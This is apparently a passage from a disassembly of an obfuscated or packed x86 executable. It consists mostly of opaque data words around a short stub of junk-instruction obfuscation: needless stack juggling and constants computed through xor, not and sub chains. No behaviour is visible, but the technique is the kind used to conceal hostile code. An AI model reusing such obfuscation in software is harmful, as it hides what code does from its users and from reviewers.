		dd 36542CF1h, 0DA858B79h, 89063268h, 2A11018Dh,	8478906h
		dd 6FC68166h, 28C783D2h, 7C75A51h, 6E6F632Eh, 15A99D89h
		dd 47C7062Ah, 67696604h, 0B5958900h, 8B062A2Bh,	3268D285h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 7A52213Ch, 666D024Dh, 0C478916h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 5C35242h, 50911EE2h
		dd 5E9A11AAh, 0E938BE66h, 68CE858Bh, 8E90632h, 0A3000000h
		dd 1309F69Eh, 0E95BAE04h, 0Fh, 84546A8Dh, 0D687F8CBh, 4FEBD625h
		dd 89274FF9h, 66570847h, 5E7C08BAh, 2AC5B58Bh, 0BE58062Ah
		dd 4129BBC8h, 658D8Dh, 0E681062Ah, 2F6FB536h, 0F28B6650h
		dd 89240C89h, 2A0F0595h, 3DB5FF06h, 1062A00h, 2A07E59Dh
		dd 4E806h, 10000000h, 850F0000h, 5, 0A14368BEh,	448B501Ah
		dd 830F0424h, 5, 0A444D0BAh, 66008B45h,	89AEDABAh, 58042444h
		dd 0B5FF6160h, 62A226Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0A1C35141h, 2E923C71h, 2F75902Ah, 0F7B70F5Fh
		dd 619B58Bh, 0D0FF062Ah, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0EEC35646h, 453DB40Ch, 0B5892F07h, 62A1BB1h
		dd 0B8h, 91BD8900h, 0B062A35h, 3E840FC0h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0F090C351h, 23268951h, 858915FDh, 62A16A5h, 0E55B5FFh
		dd 0B70F062Ah, 0C195FFF0h, 8B062A05h, 2A3329B5h, 6AC08B06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0A1FC352h, 89ADDE63h, 2A082195h, 3860F06h
		dd 80000000h, 0B58B52E2h, 62A25B9h, 2451BD83h, 7500062Ah
		dd 89BD8309h, 62A2Ah, 53501974h, 2DB8C08Bh, 89000004h
		dd 2A1A0185h, 0D09D8D06h, 0FF062CBBh, 83585BD3h, 2A2A89BDh
		dd 17740006h, 2DB85350h, 89000004h, 2A1A0185h, 719D8D06h
		dd 0FF062CB8h, 66585BD3h, 8166D68Bh, 8B18ECCEh,	50006AC0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0A6840162h, 12E8h, 951C5600h, 0BC28034Fh, 0EF6F762Ah
		dd 0A3E041BFh, 5E370505h, 1800Fh, 1F80000h, 2A05BDBDh
		dd 8DC08B06h, 32722F8Dh, 7E906h, 8BDC0000h, 7E8E85ABh
		dd 958D8948h, 6A062A33h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0D560C356h,	0B4BA8614h
		dd 0F985C7FBh, 0C0062A0Bh, 0BB000068h, 6CBF2A44h, 6C585C7h
		dd 62Ah, 6A0000h, 3E857h, 5F200000h, 7C895FC3h,	44810424h
		dd 190424h, 57470000h, 57CDD6C3h, 89675126h, 2A2385BDh
		dd 99B5FF06h, 0FF062A13h, 2A05C195h, 0D6BF0F06h, 95FF006Ah
		dd 62A3439h, 7EEBC08Bh,	71B2ACE6h, 0F366F06Fh, 0E9256B92h
		dd 0C212715Fh, 230DE401h, 9B6C16F2h, 76204832h,	59ABDF65h
		dd 69AAD83Dh, 0E55712A4h, 4BEC5CD7h, 58DBBA33h,	25079B9h
		dd 630DA492h, 5011C08Bh, 535B422Ah, 0ADEC1EF7h,	6131C4B9h
		dd 75EE1116h, 70E1219Dh, 691FB956h, 0FE9656C7h,	8A27AF56h
		dd 0EF2123AAh, 0CCE1E511h, 0A4F09D6Ah, 14DC55EBh, 0A82F884Fh
		dd 8753EB7Ah, 10A2B48Bh, 0F1F6B64Ah, 8D8D6BD5h,	632736Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D9C35141h
		dd 8E0542A4h, 11551EFEh, 2BBD8D89h, 8D89062Ah, 62A3395h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C9C35545h
		dd 8CEB9D67h, 0D5D7F44Dh, 89DE8166h, 0F985C79Ch, 0DC062A0Bh
		dd 6A00005Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 78C6C355h, 0C92D4686h,	0C585C7A2h
		dd 62A06h, 0BF000000h, 7D7186F2h, 28E1B5FFh, 7E9062Ah
		dd 75000000h, 0FA23D5F9h, 95FF1A83h, 62A05C1h, 95FF006Ah
		dd 62A3439h, 7CEBC08Bh,	0F86DD4B7h, 7F9187C9h, 0AA87FC9Ah
		dd 0C78002FEh, 0C57F02F7h, 60CB0C33h, 3BE6CABAh, 0EC88467Bh
		dd 0D57B4077h, 0A3D9A7FDh, 5C7ADB0Ch, 0B1A725E1h, 0A90D3AD3h
		dd 94113C9Eh, 9F6EF9FCh, 0AA5693C5h, 7A9895E7h,	0EEAF677Bh
		dd 0BF30F16Bh, 99CF0D58h, 3692F422h, 603FA6FFh,	0BD4696EEh
		dd 0AD506A61h, 446F4515h, 0A3F6286Dh, 0E0F73543h, 65554AF9h
		dd 35EC063Ch, 534A5FAh,	0DDE8E080h, 0FE8h, 9B7A300h, 2D9A06C2h
		dd 0B2993FD5h, 0F20C8C7Ch, 44C41ABBh, 0C181594Fh, 686Dh
		dd 68C68Ah, 51000000h, 0D8D9D2Bh, 5A58062Ah, 1953C881h
		dd 348B1667h, 69D88111h, 814EB1A0h, 6CB35F6h, 0CE937h
		dd 7A8F0000h, 0B8DC5998h, 0CFBF7D27h, 0EE81923Bh, 7988EB53h
		dd 1AA5BD33h, 0EE81062Ah, 4CD87B29h, 0DE9h, 0CBDED900h
		dd 9D9E585Ah
		dd 0BDE20A1Ch, 3489D465h, 0D8BF0F11h, 5F14E081h, 0EA837F31h
		dd 0D98B6604h, 9854FA81h, 850FFFFFh, 11h, 22218589h, 27E9062Ah
		dd 0B000000h, 0D351FAB9h, 0AE85Ah, 28040000h, 0B651AA7h
		dd 4082700Dh, 16EDB501h, 0E95F062Ah, 0FFFFFF72h, 3A850F4Fh
		dd 0EB8CCFh, 400E9h, 0EE6E7A00h, 9659C54h, 264CB76Fh, 4632D48Ch
		dd 6410F4ACh, 0A024EECAh, 0BE761064h, 0DD952F47h, 0FEB6500Ah
		dd 0ECD26C04h, 0F157DED3h, 0D36828A1h, 0A4CA3703h, 0D08C710Ah
		dd 315DCD87h, 0A2619F96h, 887E36D0h, 0C50B11Ch,	9C81ADB0h
		dd 0E62E6F4Fh, 0E47E8F26h, 26DFD82Ch, 0BACB6650h, 0D89C6820h
		dd 2ED7A53Eh, 0CCC35E48h, 65FF778Eh, 6B03FECCh,	0E2534881h
		dd 0D5226FC4h, 2462596Ah, 0D4A2C3C3h, 9AFDBD69h, 886DB420h
		dd 0A8B9F670h, 0C4AC560Eh, 94F24B2Ah, 9EF1245Fh, 1C066A98h
		dd 0C96242C4h, 0B4817606h, 0B28A0E6h, 0E7E8BBA0h, 2E796A7h
		dd 8C3A5F4Fh, 0F04A41C6h, 0D3A5613Fh, 0EB348939h, 28EB473Ch
		dd 59C42A77h, 9029DCAAh, 9EEFF73h, 0F9640FF3h, 0D73128C6h
		dd 0AD7AB99Eh, 24B26F3Dh, 5A71C82Dh, 507F228Bh,	845A976Bh
		dd 0ABA24F7Fh, 1EAC988Bh, 0A4D3022Eh, 4F462ED6h, 0E43Eh
		dd 71567600h, 7AE17A86h, 6CAAA127h, 6CF2DC98h, 86AFA453h
		dd 39226FE6h, 0C3B8D7CEh, 226FE666h, 0AC04EE59h, 866B1A56h
		dd 0D72D313Bh, 3318B39Dh, 0D2C914F6h, 0C1F210C8h, 39233426h
		dd 9C4B94E9h, 45D9A7A7h, 39B69B24h, 7C3FB82Dh, 0B621938Ah
		dd 4A2F48CCh, 0B26EE3ABh, 6C8C8377h, 115FA379h,	8B72C777h
		dd 9A759F96h, 0D0B52028h, 4C3B19EAh, 0C37283BCh, 6F6610F5h
		dd 3D775B50h, 0CD382A70h, 0FB798BE3h, 4CE3C861h, 7995BFB2h
		dd 0F70D4B42h, 300CE7Dh, 1CEA856Fh, 9A48EEAh, 0F68B812h
		dd 836817C6h, 0B056D54Ch, 320CE3C8h, 8E77DCD3h,	0D1226FBAh
		dd 0C71CCC66h, 34DACF7Eh, 752445B4h, 3CC8200Ah,	1EE69E38h
		dd 0C31C6C56h, 2BD6CB7Ah, 642899B4h, 9CADC93Ch,	0BABA4A02h
		dd 4CB98720h, 0AEA5402Ah, 0A1EA3F56h, 7465FDF2h, 0BF2A2445h
		dd 2E857DD5h, 19B49ED6h, 0FABAB334h, 96A7E966h,	8AEC19E7h
		dd 0A4B08993h, 0FC8116Ah, 1545A270h, 2480B91Eh,	8F73289Ah
		dd 738F47E1h, 47BB13FDh, 20EFCF55h, 6E3CE11Dh, 1BCADB93h
		dd 0C5BCB64Dh, 86D4136Bh, 8CBF2D9Ch, 0B0C8E920h, 0BDB220E2h
		dd 289A2378h, 0D9C3D43Fh, 354E414Bh, 5E342731h,	6432CCA4h
		dd 0D911B466h, 3A6Ah, 0EA3FA200h, 4E9922E4h, 7687220Ch
		dd 1207B665h, 226F7D23h, 0EB3CFCB1h, 0FE00FC2Fh, 0CE7D9C93h
		dd 0F00B2A1Fh, 41AC226Fh, 0D269E54Ah, 0A30E2445h, 0CFA161B9h
		dd 178935h, 37C70000h, 67BFA9CFh, 9A69379Bh, 5E53EED8h
		dd 226F7CD7h, 0D26C7DE8h, 0A9CF3700h, 2B10290Fh, 1AA3EB38h
		dd 2F4E4507h, 6FE5F73Ah, 634DB822h, 48BCF70Bh, 0CFA75E2Ch
		dd 3650D4BEh, 0DA946D43h, 61D0C5DEh, 5E226FE6h,	0E64F44F3h
		dd 2C226FE5h, 0E3CDA55Eh, 0A0DF5148h, 19F6C38Fh, 0F3EE1852h
		dd 0C75E20C7h, 530BA5B6h, 8E27C1AFh, 372E42C0h,	0B5A2417h
		dd 98000000h, 0BBA5CB37h, 37D19F63h, 0B1371E76h, 9969C1ABh
		dd 5295EDD7h, 3FC61E08h, 0FF54D37h, 0E1237B65h,	0B551A993h
		dd 8281D9C3h, 53AE06F0h, 5716311Bh, 0C781E789h,	4, 5704EF83h
		dd 42474FFh, 24048F5Fh,	0E189515Ch, 4C181h, 0E9830000h
		dd 240C8704h, 240C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ecx, 5BF237Ch
		xor	ecx, 0BDF79D0h
		not	ecx
		sub	ecx, 12A2076Ah
		sub	ecx, 67977B96h
		not	ecx
		push	edx
		mov	edx, 50485BF3h
		or	edx, 12595185h
		add	edx, 3C524D1Ah
		xor	ecx, edx
		pop	edx
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		sub	eax, 7DDF7B30h
		add	eax, ebp
		add	eax, 7DDF7B30h
		mov	[eax], ecx
		pop	eax
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		dw 2E82h
		dd 357E459Ah, 77F7B844h, 0C5030632h, 7DA5E0FFh,	0D056169h
		dd 0BF9762B2h, 49D741B0h, 8A524784h, 666059F5h,	0F1BDBBAh
		dd 68Bh, 830F00h, 61000000h, 0DA8B66F9h, 0FE9h,	0A7485F00h
		dd 8824407Ah, 73B6C16Ah, 6763C9ACh, 60F58A60h, 0FD1B70Fh
		dd 82h,	80616100h, 605063DAh, 578CC680h, 0B25A6159h, 0B5F6B622h
		dd 7E990h, 0D6580000h, 7016EEE0h, 0C0EC8075h, 81F0B70Fh
		dd 5F2EB9F3h, 8810F34h,	0F000000h, 288h, 605A5300h, 19890Fh
		dd 14E90000h, 18000000h, 91C00B52h, 65A70902h, 28A19076h
		dd 2FCA75Ah, 0E99D0886h, 0Dh, 0EE968648h, 31D4AB2Ch, 17C0E191h
		dd 0E85361DBh, 8, 8897601Eh, 0E537A687h, 4C20A8BBh, 665F5A73h
		dd 0E37FC981h, 0C8B70F53h, 0C030BF59h, 0C28B5B5Eh, 0EDBF6660h
		dd 0B8666199h, 81501576h, 4B1B86CAh, 0DB815B2Dh, 3944BBB3h
		dd 1FB5BA66h, 7E8h, 0A1DE0F00h,	0C56EFF2Eh, 5EDAB70Fh
		dd 81DA8B66h, 3EA743CEh, 13EE803Ah, 0E8F6B70Fh,	9, 345900FDh
		dd 67FE8999h, 8DF8178h,	5959EA1Dh, 10880Fh, 0BE90000h
		dd 0FB000000h, 62BD21A1h, 0DA249A97h, 0B70FD00Ah, 0C78166FFh
		dd 666084B6h, 0C9F4D281h, 0DBBCBE61h, 0F78B7DA2h, 0CAB8CE8Bh
		dd 802146B5h, 0CE8B58C7h, 8B0FD58Ah, 5,	0C0D08166h, 8E9AAh
		dd 7D830000h, 3B9CFB63h, 6E96CA9h, 8D000000h, 3E7019CFh
		dd 0E6B966C2h, 8E993h, 0D2E10000h, 65DF9FE8h, 5E9FD3Eh
		dd 83000000h, 0D2330388h, 0B70F5160h, 830F5AF6h, 6, 8C0Fh
		dd 81610000h, 32057CE6h, 0B966605Ch, 0C9B18BFAh, 0F00BBE61h
		dd 0C2BF1AC4h, 816D50A6h, 7EFE29E7h, 66DA8B15h,	56F2E9B9h
		dd 6FF03EBFh, 0D08B586Eh, 79F78166h, 0E998B699h, 10h, 78FC85C1h
		dd 9DF547ECh, 9B7EB3A1h, 146F55F4h, 1FCE8166h, 0B86660B0h
		dd 8B66E291h, 8B6661F8h, 69C980D6h, 6D5FBF66h, 66DA8B66h
		dd 25A8EA81h, 0B70FF28Bh, 0E91EB3CFh, 0Ch, 455A966Ah, 0DE55DD3Eh
		dd 8C1C9FAFh, 0FE9F860h, 6F000000h, 0F9F00803h,	0E27A39BAh
		dd 9A8DFA4Dh, 0E8612DE2h, 11h, 0EF44E1EDh, 0D5D6B7FAh
		dd 454264AAh, 49D16h, 0D2815866h, 5A86D0E1h, 830FF860h
		dd 0
		dd 32B4F961h, 0CE80E58Ah, 0DEBF0FF2h, 28D0F51h,	8A000000h
		dd 5E85AC3h, 50000000h,	345F8673h, 58F28B66h, 7D0B860h
		dd 0E8616FF9h, 8, 9B134694h, 0B9772B0Bh, 59A6C980h, 0E9F9BF0Fh
		dd 0Ah,	0F8051CE6h, 6E0BEB1h, 0B966C7C8h, 0F560A29h, 525AF8BFh
		dd 61FAB660h, 5E959h, 0EF5A0000h, 660CDFB0h, 0F0A52BBh
		dd 6660D3B7h, 0BAA3BDBFh, 599AD0BCh, 3EBE5061h,	5B0EAA8Dh
		dd 0E800Fh, 9E90000h, 0ED000000h, 4B1FCB39h, 0C61C3944h
		dd 8B666057h, 840FD7h, 61000000h, 0BE959h, 76F40000h, 4A248AC1h
		dd 85DBCD12h, 3820F7Eh,	0F000000h, 0EE8AD0B7h, 0F547D680h
		dd 0E9F98B66h, 0Dh, 0F2EF6CCAh,	5B7A780Ah, 1B67A72Bh, 5E839h
		dd 3F370000h, 0F9BF3F0Bh, 0CE95Eh, 3C4B0000h, 3F954C8Ch
		dd 96DDD959h, 0E9808FEBh, 7E94Fh, 0B4E30000h, 12185F7Ah
		dd 850FA3h, 60000000h, 820F61F9h, 2, 0DA81F88Ah, 77AA0B2Dh
		dd 58C0F52h, 66000000h,	0D5D6DB81h, 66595159h, 0F58C5B9h
		dd 1F88h, 19890F00h, 0E8000000h, 13h, 0E844CCDBh, 8CF9FA91h
		dd 6684417Bh, 213B545Fh, 5E5F0217h, 0C860Fh, 8B0F0000h
		dd 6, 8F0Fh, 0C78B0000h, 0FE860h, 8D7F0000h, 1AB17CCDh
		dd 64826CCFh, 86CADAh, 0F58F848h, 178Eh, 11E800h, 8BC20000h
		dd 0EF1AD1A1h, 0D421E6F0h, 5AD506A7h, 5E84F9C2h, 188D0F61h
		dd 0E9000000h, 13h, 0F34D25C7h,	4C216EA3h, 65217918h, 10653100h
		dd 0B0120477h, 4ABF667Eh, 0EE9E8h, 0C9150000h, 0C89F3B3Ah
		dd 2F8E64B6h, 0DB5F335Eh, 73CF8157h, 5F1272B6h,	0C5F480FCh
		dd 0EE9h, 0C8510100h, 1BEF4B28h, 6DACF721h, 0F5BCC60h
		dd 6E9C6B7h, 1000000h, 0DC0C7689h, 0E9F38ABDh, 14h, 0B3BE820Eh
		dd 0A3AB398Dh, 74519526h, 68875A88h, 0BF0EF22Bh, 9E9h
		dd 7636BB00h, 0CA6AC3A3h, 850F76B6h, 2,	8B66EB8Ah, 0D88B66CEh
		dd 66F8BF0Fh, 0BF66F38Bh, 11E96C9Eh, 9B000000h,	8DFFA392h
		dd 4124B4Dh, 11236CFh, 8F9BC7D4h, 0BCC68166h, 0BD08181h
		dd 8A2AACA3h, 0C38B66F8h, 0CE9h, 0D25F3400h, 3382A06h
		dd 0C89597E3h, 0A5DB810Ch, 81145784h, 251FAFD0h, 0BEF0801Ch
		dd 1850Fh, 0E9FC0000h, 12h, 0AEB4A762h,	79BC2D8Bh, 3D5ED17Dh
		dd 0EB5558F7h, 8C0FC604h, 9, 38C0Fh, 8B660000h,	0A460BBD9h
		dd 0FE90419h, 1000000h,	85418ACCh, 1969097Ch, 5E08B1FAh
		dd 0BF0FCF56h, 0A3B860DBh, 8062F3ECh, 0B3614CF3h, 41E98113h
		dd 0E9632018h, 0Dh, 0B17AAE35h,	5681188h, 221411BCh, 0D3BF0FE1h
		dd 88DCBF66h, 0EDE2CF81h, 33BE30A3h, 60049AAEh,	6E8h, 0AFE64600h
		dd 0F910A437h, 0C2CC805Fh, 9EBA6661h, 71B86046h, 664CDBDAh
		dd 0EF74D681h, 1810F61h, 0F9000000h, 3E7CBBAh, 0CA81663Dh
		dd 830F5869h, 12h, 9E8h, 2E90FD00h, 0C1FFC738h,	8B660EF1h
		dd 0CD805AF9h, 60C18B8Fh, 0FD38B66h, 383h, 0D7BF0F00h
		dd 0BFF38B61h, 5C36A6F4h, 0BF0F19B4h, 8E9C0h, 79F30000h
		dd 0D2514B3Ah, 0E781CDB8h, 151E54h, 38D0Fh, 0BF0F0000h
		dd 0BE9D0h, 9E6E0000h, 8F3C3CDBh, 905C7BD9h, 0AE8D7h, 89210000h
		dd 0B71E1056h, 850C151Ah, 17A1BF66h, 8E85Ah, 3EA30000h
		dd 3B29F313h, 6658BD64h, 1914E081h, 48D0F51h, 66000000h
		dd 58E968B8h, 0BFF28B66h, 5207DF1h, 38C0Fh, 0B70F0000h
		dd 0F8CB8AD1h, 0D9816660h, 8B0F7B99h, 1, 0AE861F5h, 52000000h
		dd 91323AD6h, 7F2F957Ch, 9E9E8h, 0BCAB0000h, 0BF1DEA5Fh
		dd 5E41B6AFh, 108C0F60h, 0E8000000h, 0Ah, 0E417834Dh, 27AE18CBh
		dd 805ECEC3h, 0B06145D2h, 12E93Fh, 0EC790000h, 286C5D56h
		dd 0ED26EB7Fh, 4BBAC3F3h, 9CFE1CD1h, 0CA8BD68Bh, 0F58ADF8Bh
		dd 7E9h, 99D27800h, 9DACC74Fh, 20E4BF66h, 10E9D38Bh, 0CA000000h
		dd 84546A8Dh, 0D687F8CBh, 4FEBD625h, 66274FF9h,	0E444DE81h
		dd 29CDBF66h, 5830Fh, 81660000h, 8B06C3D8h, 8153F9FBh
		dd 4704E5F7h, 95BE5F6Bh, 0E97C4EE4h, 0Ah, 49155953h, 4D535969h
		dd 606037C1h, 0A1DA8166h, 0F08B6618h, 0FBB70F61h, 0D9815261h
		dd 0A953AC5h, 14E958h, 5FE50000h, 3FC6FB5Dh, 0C6767340h
		dd 4CF741CCh, 5C6E6496h, 0B70F7E15h, 99BB66CAh,	0A4F8BF31h
		dd 50606401h, 8F0Fh, 61590000h,	38A0F57h, 0F000000h, 665AC8B7h
		dd 0A0BFC38Bh, 661D3A7Eh, 5C8FEB81h, 1B2CB966h,	8B6660F5h
		dd 0D98166C2h, 0F61D7B7h, 7E9DBBFh, 6B000000h, 472F6DD5h
		dd 830FBC1Eh, 8, 0DCEB8156h, 5972CE61h,	88C0Fh,	0F600000h
		dd 0CB80F0BFh, 9E861A5h, 78000000h, 0D516CD4h, 52941F4Eh
		dd 0AE46BA66h, 0FDAB95Bh, 0E58A4F44h, 0E970D081h, 0C78052C1h
		dd 820F83h, 81000000h, 7BB16C6h, 5820F50h, 66000000h, 0DA14D181h
		dd 66F85A57h, 94BAC68Bh, 0F42D592h, 0D87h, 8E900h, 14170000h
		dd 600D7BD8h, 0F8F924ACh, 6E9h,	0CCF8AA00h, 0E9D19653h
		dd 5, 0E35F8B90h, 83DC80D3h, 8E8h, 0E758C900h, 84D7893h
		dd 0AE9EAh, 3F6D0000h, 0A6E2BDA1h, 0D5467E64h, 0AE95Ah
		dd 0C5EF0000h, 6620D8A3h, 8AEB73A3h, 0E681C78Bh, 3571122Bh
		dd 0E0B9F98Bh, 81245329h, 7B5A91C3h, 28A0F41h, 52000000h
		dd 10E95Bh, 71FE0000h, 0C4614F63h, 1FDF3999h, 3732187Fh
		dd 7E8A651h, 7000000h, 0CD504AB2h, 7E843A1h, 0BF000000h
		dd 0F9B5030Ah, 5E9BA95h, 56000000h, 3ADF6E39h, 0EA815E58h
		dd 227E1E2Bh, 1BE98166h, 0FC38BC5h, 387h, 0F88B6600h, 0CF81A1B1h
		dd 369BC4C7h, 0F140F381h, 810F3033h, 11h, 8E8h,	0F7D39C00h
		dd 2F22A29Eh, 0DAB70F82h, 66CB8B58h, 93D2C781h,	0F7EA8166h
		dd 0E7EA8180h, 0E97B5B7Eh, 0Dh,	0A4BFEC30h, 43025398h
		dd 0CC61C74Ah, 56F98BEAh, 5EFAB70Fh, 0F08B5360h, 81FC605Ah
		dd 96B3D6E3h, 0F616131h, 689h, 3FCA8100h, 0F9103261h, 6693DF80h
		dd 0F31FD281h, 66C6B70Fh, 0FD248BFh, 585h, 0C691BE00h
		dd 0DE91771h, 60000000h, 9E034531h, 0E9A20F56h,	76F1193Eh
		dd 28A0Fh, 0DD8A0000h, 2581E3BBh, 0A6CCBF02h, 0DA8A5912h
		dd 0C18B49B5h, 10E9h, 0A197CF00h, 31A6A9A5h, 0A77BBAD3h
		dd 0C7C1FDB7h, 4DBF66BEh, 5DBB6663h, 28E0FA9h, 0B7000000h
		dd 0F800F54h, 0E9000000h, 0Ah, 0D285B7BFh, 0F2A750C4h
		dd 816007B2h, 2196DEE8h, 6167B059h, 2890Fh, 0FE8B0000h
		dd 8166F28Bh, 80CCB3C8h, 0F60ADD1h, 0B82h, 6E900h, 0DDBB0000h
		dd 3428AB30h, 97BA6661h, 0E9F78BFDh, 11h, 0F64CD755h, 4128CEBFh
		dd 0A4B94DBBh, 410C9122h, 56D98A37h, 0D8E88152h, 5A043FB8h
		dd 8B565058h, 0E85A58D7h, 9, 822D09A8h,	66C935Bh, 0DA805E9Ch
		dd 0F71B516h, 0A87h, 5E900h, 0EF320000h, 81B3CCD8h, 79DD7FE1h
		dd 0B2C78B3Ch, 0B0D981DCh, 811CA909h, 23B471CFh, 0F781605Fh
		dd 7DCD4E59h, 6E961FCh,	40000000h, 0DC28A355h, 94B966F9h
		dd 81666093h, 610E7DE7h, 706959BBh, 1C840F10h, 0F000000h
		dd 168Eh, 11E900h, 0D5CD0000h, 8F679BDFh
		dd 7A86D45Ah, 32A2CE59h, 601535A9h, 6609EA80h, 0F61CB8Bh
		dd 1B85h, 1BBF6000h, 0E840A80Dh, 0Eh, 4D535969h, 0ED9637C1h
		dd 623DAB63h, 615A4D17h, 0EBB2D18Bh, 0E9DAB70Fh, 0Bh, 399396F5h
		dd 9065B101h, 600C3426h, 0AE9h,	161AAE00h, 19A7BD84h, 0BED27C18h
		dd 6F5AC3E2h, 13E961h, 0B73D0000h, 6186ADF3h, 59D99D5Dh
		dd 24AEF763h, 22FFD2EEh, 0D8D281AAh, 0F32C104h,	38Eh, 35C58000h
		dd 87B86651h, 0D9B65838h, 0F3B70FF8h, 8166D08Bh, 519F65C3h
		dd 0EE9h, 57F52100h, 6D97EB5Eh,	0FEF0D7E9h, 59716508h
		dd 3880Fh, 0BF0F0000h, 0C2BF0FDEh, 8EC965BAh, 9E962h, 0BFE70000h
		dd 27149489h, 0B9AE9819h, 4CE9F8E3h, 0B3B71EB0h, 12E8h
		dd 0E983DF00h, 94420D9Dh, 2222757h, 0D46F953Ch,	60C45185h
		dd 11E9h, 0F22F1200h, 0F355904Ah, 0A292C84Bh, 3164EF0Eh
		dd 59567901h, 0DD8A5861h, 58C0Fh, 0EBB80000h, 0F534EA56h
		dd 0BE6655B7h, 8166E57Ah, 607D61F6h, 60F08B66h,	0E6805952h
		dd 0F6161AEh, 148Ch, 0FE900h, 0E6CA0000h, 88467B3Bh, 7B4077ECh
		dd 0D9A7FDD5h, 86D381A3h, 8B0E23B1h, 0FBB70FD9h, 5800Fh
		dd 81660000h, 805691F2h, 0A0BACDC4h, 0F628972h,	0DE80C1B7h
		dd 14E8D1h, 33210000h, 3C2E0C28h, 8864E881h, 23EB6A2Ah
		dd 2266B130h, 5A502ECBh, 6060F959h, 0FE9h, 3E8E4500h, 0F31BD150h
		dd 34C47631h, 44198B5Ah, 0BF0F6161h, 11E953C0h,	0D0000000h
		dd 0EFD13CDEh, 0FFF5D981h, 57D6B92Fh, 3B1CFC89h, 0D881665Bh
		dd 5E8830Ah, 0D3000000h, 66B47F2Bh, 60595E51h, 0F850Fh
		dd 9E80000h, 8A000000h,	25C916E9h, 1BB06BDFh, 3BE3815Ah
		dd 61154F32h, 10E9B8B3h, 0AA000000h, 0A00CBAEAh, 0D61AEE9Ch
		dd 0D232B532h, 604BFA1Bh, 5840Fh, 8CB90000h, 0E96EE497h
		dd 10h,	560EAB3Eh, 5A68503Fh, 0D25DD467h, 1C018A8Ch, 7E961h
		dd 0AAF50000h, 70F6A704h, 4BF18195h, 60506589h,	48D0Fh
		dd 0BA660000h, 0FE9B86Ah, 5A000000h, 35D7D491h,	0D0945573h
		dd 316F3806h, 0E961D33Ah, 11h, 0D1FD47A4h, 0BB3473DEh
		dd 6F932CF6h, 630709A2h, 87BE6685h, 0AF30BECCh,	0D68B52C5h
		dd 0F2C5F3BFh, 9E827h, 9FC0000h, 0EAD2BE9h, 0F2576E0h
		dd 0F58CEBFh, 8166F6B7h, 0F9F75D9h, 0BE9D2BFh, 0FC000000h
		dd 80C6F273h, 0C9CCCEDBh, 8E95B43h, 78000000h, 2357A08Dh
		dd 8B198F7Ch, 7E9F7h, 8DD30000h, 6C969D9h, 0C38BF817h
		dd 2830Fh, 0F88B0000h, 13E8h, 1D247300h, 0DCCB2C9h, 0B7910F1Bh
		dd 0A5158DB7h, 2462D885h, 4B1B866h, 0D8BF0F5Ah,	9E8F8h
		dd 0AB9F0000h, 5FB91699h, 810851C1h, 5A2CFEAh, 81F85A45h
		dd 9ED5A2CFh, 0F5DA8B4Ah, 8840Fh, 66600000h, 0B5D45FB8h
		dd 9E961BEh, 72000000h,	4F965932h, 871517FAh, 10E8h, 0A4F27900h
		dd 0FE5D886Dh, 1E5A79D3h, 542A4D9h, 60605E8Eh, 0B70F6160h
		dd 0F6161C6h, 586h, 707EBF00h, 66F55139h, 810FC18Bh, 1
		dd 0D08060FCh, 0F6B66027h, 10E96161h, 8F000000h, 0EBF6E08Eh
		dd 0EF24752Fh, 0C92E63DAh, 6674422Dh, 813EE1B8h, 0A19047F6h
		dd 800F603Fh, 4, 6675BE66h, 0AE9h, 42C61400h, 49BEEDFh
		dd 61E067F6h, 0FEDBBF5h, 0B9662D08h, 850F1B26h,	2, 0BA6636B6h
		dd 4DBA880Eh, 0F0A41BDh, 6653DABFh, 8A5AD08Bh, 0DE9C6h
		dd 0B9AF0000h, 0D4CB8056h, 70BB4E91h, 8BF810A0h, 13E8F0h
		dd 80BB0000h, 92639E86h, 194A4BBh, 0A94955C6h, 0C11374F2h
		dd 34BF66BDh, 0B70F5BFAh, 0FABB66D2h, 60F78BACh, 33C18160h
		dd 0E837663Ch, 0Fh, 52E613C3h, 5F9074F9h, 2D2635Eh, 5853080Ch
		dd 612CB461h, 800FF08Bh, 3, 66FBBF0Fh, 32C5F381h, 3830Fh
		dd 0B70F0000h, 9E9CEh, 5E680000h, 880AA2B6h, 50870D80h
		dd 38D0Fh, 8B660000h, 81665EC3h, 0B995DBE0h, 3BDFEFEEh
		dd 0BE9h, 0FA4C400h, 1DBD8A80h,	32E518A8h, 5E9h, 7A51C300h
		dd 12E8A6CAh, 17000000h, 0D5618EBEh, 7693E59Bh,	57F4226h
		dd 44CDC5F9h, 0F281664Bh, 0E95B3540h, 11h, 0FA51439Fh
		dd 0E348EBB9h, 57C4674Ah, 0BBA91057h, 0CB8B6615h, 0B07DDC80h
		dd 6E95634h, 1C000000h,	1370E46Eh, 0BF0F5E1Dh, 11E960CEh
		dd 4A000000h, 78EAA00Ah, 432BD75Ah, 0A03BF5FDh,	0BF7080F5h
		dd 4CB8D081h, 8B614855h, 22DC80C6h, 3749BA66h, 28A0Fh
		dd 0C68B0000h, 0FF18B66h, 381h,	0C2BF0F00h, 0FF2BF0Fh
